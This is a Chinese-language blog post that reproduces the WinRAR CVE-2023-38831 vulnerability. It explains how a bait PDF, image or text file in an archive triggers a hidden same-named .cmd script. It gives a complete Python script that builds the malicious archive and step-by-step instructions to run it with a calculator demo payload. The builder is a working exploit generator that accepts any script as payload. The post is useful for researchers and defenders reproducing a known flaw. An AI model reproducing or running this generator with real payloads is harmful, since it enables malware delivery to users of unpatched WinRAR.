WinRAR 0day漏洞CVE-2023-38831复现最详解 2023-08-28 21:33:42 WinRAR 的CVE-2023-38831 漏洞被在野利用来攻击交易类的个人用户。 影响版本:WinRar 版本 < 6.23 本人知识库也将同步此文章:[欢迎光临 adm8n的知识库](https://adm8n.github.io/) 鸣谢参考文章: 1. [Cybersecurity Services, Solutions & Products. Global Provider | Group-IB](https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/) 2. [GitHub - BoredHackerBlog/winrar\_CVE-2023-38831\_lazy\_poc](https://github.com/BoredHackerBlog/winrar_CVE-2023-38831_lazy_poc/tree/main) 漏洞工作原理 ------ 1. WinRAR 0day漏洞允许攻击者创建恶意 .RAR 和 .ZIP 存档,这些存档显示看似无害的诱饵文件,例如 JPG (.jpg) 图像、文本文件 (.txt) 或 PDF (.pdf),用户双击使用winRAR打开查看压缩文件,并在winRAR窗口中点击查看时触发漏洞 。 2. 当用户打开该文档或者图像时,该漏洞将导致执行当前目录下的同名文件夹下的cmd或者bat脚本,可在设备上安装恶意软件,或者执行恶意指令,但是主机上的EDR安全卫士一般都会对恶意指令进行拦截操作。 3. 本次已演示脚本启动计算器为例(start calc)。 EXP构造存在漏洞压缩包。 ------------- 1. 在当前目录写入 cve-2023-38831-exp-gen.py import shutil import os, sys from os.path import join TEMPLATE_NAME = "TEMPLATE" OUTPUT_NAME = "CVE-2023-38831-poc.rar" BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf" SCRIPT_NAME = "script.bat" if len(sys.argv) > 3: BAIT_NAME = os.path.basename(sys.argv[1]) SCRIPT_NAME = os.path.basename(sys.argv[2]) OUTPUT_NAME = os.path.basename(sys.argv[3]) elif len(sys.argv) == 2 and sys.argv[1] == "poc": pass else: print("""Usage: python .\cve-2023-38831-exp-gen.py poc python .\cve-2023-38831-exp-gen.py """) sys.exit() BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8") print("BAIT_NAME:", BAIT_NAME) print("SCRIPT_NAME:", SCRIPT_NAME) print("OUTPUT_NAME:", OUTPUT_NAME) if os.path.exists(TEMPLATE_NAME): shutil.rmtree(TEMPLATE_NAME) os.mkdir(TEMPLATE_NAME) d = join(TEMPLATE_NAME, BAIT_NAME + "A") if not os.path.exists(d): os.mkdir(d) shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd")) shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B")) # if os.path.exists(OUTPUT_NAME): # print("!!! dir %s exists, delete it first" %(OUTPUT_NAME)) # sys.exit() shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME) with open(TEMPLATE_NAME + ".zip", "rb") as f: content = f.read() content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ") content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ") os.remove(TEMPLATE_NAME + ".zip") with open(OUTPUT_NAME, "wb") as f: f.write(content) print("ok..") 2. 现在当前文件夹中创建一个诱骗文件,PDF文档、txt文本文档、png图片都可,我这里使用xxx.pdf。 3. 创建一个 script.bat 脚本文件,里面写入 “ start calc ”(不包括双引号) 。 ![image](https://image.3001.net/images/20230828/1693229314_64eca1021c562ef0c277f.png) 4. python执行EXP构造RAR压缩包,生成的poc.rar。 python cve-2023-38831-exp-gen.py